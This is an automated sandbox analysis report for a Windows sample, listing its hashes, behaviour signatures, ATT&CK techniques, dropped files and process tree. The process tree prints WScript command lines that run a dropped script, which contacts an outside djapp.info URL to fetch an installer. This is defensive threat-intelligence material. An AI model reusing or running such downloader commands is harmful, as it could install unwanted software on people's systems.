34cb56225cbd27889c124e25f6d383f8fe6144de206bc6c58c2185b0ac5f02e5

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
03/06/2024, 10:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe
Size 184KB
Sample240603-m3cbkacb2x
SHA256 34cb56225cbd27889c124e25f6d383f8fe6144de206bc6c58c2185b0ac5f02e5
MD5 91883273b821130a85ea1e79ffe623b2
SHA1 4d18b22f8226c1b5b8ca115686f4fa941ed971d6
SHA512 77c03bc508b686034ac509a8d9ffd8da2d771d91a689ceccb0f4e90285281f81ce4e0ae32601e305d9ded92bd9762c4ef181b063a10093aefab6f40ccb4a0c92
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3V:/7BSH8zUB+nGESaaRvoB7FJNndnA
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	1524	WScript.exe
8	1524	WScript.exe
10	1524	WScript.exe
12	2572	WScript.exe
13	2572	WScript.exe
15	2864	WScript.exe
16	2864	WScript.exe
18	1044	WScript.exe
19	1044	WScript.exe
21	1576	WScript.exe
22	1576	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1328	3016	WerFault.exe	27

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3016 wrote to memory of 1524	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	28
PID 3016 wrote to memory of 1524	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	28
PID 3016 wrote to memory of 1524	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	28
PID 3016 wrote to memory of 1524	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	28
PID 3016 wrote to memory of 2572	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	30
PID 3016 wrote to memory of 2572	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	30
PID 3016 wrote to memory of 2572	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	30
PID 3016 wrote to memory of 2572	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	30
PID 3016 wrote to memory of 2864	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	32
PID 3016 wrote to memory of 2864	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	32
PID 3016 wrote to memory of 2864	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	32
PID 3016 wrote to memory of 2864	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	32
PID 3016 wrote to memory of 1044	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	34
PID 3016 wrote to memory of 1044	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	34
PID 3016 wrote to memory of 1044	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	34
PID 3016 wrote to memory of 1044	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	34
PID 3016 wrote to memory of 1576	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	36
PID 3016 wrote to memory of 1576	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	36
PID 3016 wrote to memory of 1576	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	36
PID 3016 wrote to memory of 1576	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	36
PID 3016 wrote to memory of 1328	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	38
PID 3016 wrote to memory of 1328	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	38
PID 3016 wrote to memory of 1328	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	38
PID 3016 wrote to memory of 1328	3016	91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe	38

C:\Users\Admin\AppData\Local\Temp\91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\91883273b821130a85ea1e79ffe623b2_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3016
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2A6A.js" http://www.djapp.info/?domain=sFsdLxWmfl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf2A6A.exe
  2⤵
  - Blocklisted process makes network request
  PID:1524
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2A6A.js" http://www.djapp.info/?domain=sFsdLxWmfl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf2A6A.exe
  2⤵
  - Blocklisted process makes network request
  PID:2572
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2A6A.js" http://www.djapp.info/?domain=sFsdLxWmfl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf2A6A.exe
  2⤵
  - Blocklisted process makes network request
  PID:2864
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2A6A.js" http://www.djapp.info/?domain=sFsdLxWmfl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf2A6A.exe
  2⤵
  - Blocklisted process makes network request
  PID:1044
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2A6A.js" http://www.djapp.info/?domain=sFsdLxWmfl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf2A6A.exe
  2⤵
  - Blocklisted process makes network request
  PID:1576
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3016 -s 540
  2⤵
  - Program crash
  PID:1328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Size 1KB
SHA256 3560614f2f62c19498d2ad6c3b9fa8f232883167479de05e924a5a3ab19a8454
MD5 13ed5e0369cedc64c8437eb9a493a981
SHA1 880053c91809fef7b2a3d688143f554d5a05c0bd
SHA512 18b3c940a3b722b58c476af4141ab987ed9f7557c1e52f3f20548b2c209abd67c943761d22e20ed59c36d69f8cd911285aff7efdf2d20f51c35cad62932aefa0
MD5 SHA1 SHA512

Submit Download

CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Size 724B
SHA256 58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5
MD5 8202a1cd02e7d69597995cabbe881a12
SHA1 8858d9d934b7aa9330ee73de6c476acf19929ff6
SHA512 97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9
MD5 SHA1 SHA512

Submit Download

24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Size 410B
SHA256 8f317d657b9c2eaaef6ccb49cfd4d1aaa7b41b8382dabc7512493af0eb86cf54
MD5 84a3f086554e08027d124236c60d40f2
SHA1 129e76c5be430f75538d301a3305b26b4f753eb7
SHA512 5e3ef25888713a5df951b93a9bbb75b1e4968cef88500297ed7af669ec20ec821231cf21af82aa80ae4b749b41302ac194e445f0c5517e973f2ef384322cec35
MD5 SHA1 SHA512

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 344B
SHA256 2eea694bfc62fa66f0392502f036dd98c5aefbe80d8ab9ff94766b75b8f8e8e8
MD5 d638e0f264e8249131482b019e24431a
SHA1 f5f7c7b83e58011541b5134f24002d7693fe0ecf
SHA512 a806ea466284f0a8948d06fd2fa20ce22b2d4fb539da2f5391a1e4aa4ab815c8122f137c678849abf9c4a15be82069ad9613592c3a30ac9ca5520c8aec18f7e4
MD5 SHA1 SHA512

Submit Download

CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Size 392B
SHA256 a712761afb06631fd0a1614a0650b572c97bdbe2005af64b0a0d9cbdf61c24c0
MD5 ce6ecac3ec918afbeda939376ce3e125
SHA1 310bbfee2576f5eede6b008fe8e89ec1cf0434b9
SHA512 e051d3f2b8d621e16b3f83fe0469a2973f9a82fff40ac35399e7dc53a51846c83e40bb511cc7f04996384fa92e943902112df5cdbf6c68fab5713efbb52aed0a
MD5 SHA1 SHA512

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm
Size 6KB
SHA256 1ca6f95c8cde63e15904700938ea3f0c661b4574e86ac3b992f01ccc494edae3
MD5 41562af3cd1137439f4658b45caae6fe
SHA1 442b66f3d5005f87ed490664b27f727de09a2a41
SHA512 a728c04652459ab960d02438bee7a894e2e823cfa88b0d8432ea21afddfff2471a559e5cedf767be19d4fdb56a8a17ffaa48f2e83e6c4670361146657a6cd079
SSDEEP 192:CFYecHw1bc7950r0CtWC3zBM5KhvagVwiXw4fMq0yThr+Ce:CFYecQ1bcJgJtWkBaKhvaMwiXjMq0OhI
MD5 SHA1 SHA512 SSDEEP

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm
Size 6KB
SHA256 e0d08d9396789e682704612b0c1b01e1d1be545f6237b6b4a134d47c5608ca87
MD5 cd15aeddbf3c42bcda05901f73a14bad
SHA1 cb704039202484a8d1f32c698d9f30f9307466a1
SHA512 044426fe958f3278604226bd7d73b01c0b2d98ec64ee4df40acc56dc0532e02044a396c5fb77418b18558fbc3ceb641ed680dee2abc2f77a7e5c725bb571b386
SSDEEP 192:CFYecHw1bc7950r0CtWC3zBM5KhvagVwiXw4fJtLq0yThr+Ce:CFYecQ1bcJgJtWkBaKhvaMwiXjHLq0OG
MD5 SHA1 SHA512 SSDEEP

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H09CVCL3\domain_profile[1].htm
Size 40KB
SHA256 d5970ad2bf736165ba1b35e8c537f0f5aba534560578a534b9b588abff2b354e
MD5 5ee42a0eef07d00784ca1347d621d68f
SHA1 db93c5e9323650f2437e0c9fe939459463ce76cc
SHA512 5b04a6013ee19265087b2c98cf0c75e80b9e6294ad011e4e3f39e6e944ed20600eb5086d1120e02073ad2184042052d311de796563194073f12a4d9d21a4de59
SSDEEP 768:p6FYdeYy4jJI4Yq7tgn6qaY9VNsh/9gaRRvbv38nf237ZFZNYvcQNyVOlf6ShBv9:IYdeYy4jahj6qrreh/9gibkf237ZFZN4
MD5 SHA1 SHA512 SSDEEP

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H09CVCL3\domain_profile[1].htm
Size 6KB
SHA256 640308ac5db801992f77eaa776c00f615efae19b572f92dffd1b60f91136c52a
MD5 9d4bce3253ad1fb23e7675bc86ec674e
SHA1 0f6d6ed3f1630fca6b88421c943dc4b73d409db7
SHA512 e39367b6adb4a0f5e030b238569267027ef1091afc6655ada479f772f1f4b8331455f67d6489726397536e431fd2cfb2c5c932d85220b9d6124a83649467d877
SSDEEP 192:CFYecHw1bc7950r0CtWC3zBM5KhvagVwiXw4fuq0yThr+Ce:CFYecQ1bcJgJtWkBaKhvaMwiXjuq0OhI
MD5 SHA1 SHA512 SSDEEP

Submit Download

Cab59D3.tmp

Path C:\Users\Admin\AppData\Local\Temp\Cab59D3.tmp
Size 68KB
SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
MD5 29f65ba8e88c063813cc50a4ea544e93
SHA1 05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA512 e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
SSDEEP 1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tar7244.tmp

Path C:\Users\Admin\AppData\Local\Temp\Tar7244.tmp
Size 177KB
SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
MD5 435a9ac180383f9fa094131b173a2f7b
SHA1 76944ea657a9db94f9a4bef38f88c46ed4166983
SHA512 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
SSDEEP 1536:fAo/J+lCUsTRvsqgCyqWlUDNWdm1wpSru2A0XwjY/z02DTr3rmt6mJ:f/J+qTR0XCy/dmASru2Aijbdq
MD5 SHA1 SHA512 SSDEEP

Submit Download

fuf2A6A.js

Path C:\Users\Admin\AppData\Local\Temp\fuf2A6A.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

Submit Download

0MMEY1GK.txt

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\0MMEY1GK.txt
Size 175B
SHA256 2fa1811cd174a75fdda5ec005ba3b7a30cbe7eabda364c33a011a715fc85a1f2
MD5 06b5709598367f22fba692f1ed9e1e6d
SHA1 2473ff6f3af913e4934aa4ddad898557f6821805
SHA512 994d831c2a4cfb4484f1be5dc9c88628362b4749037bab297f75c97ac905afa8fdd9d759e7d7ca57e093ea833a907104790e8b3978278656b868ce86fde93fa9
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads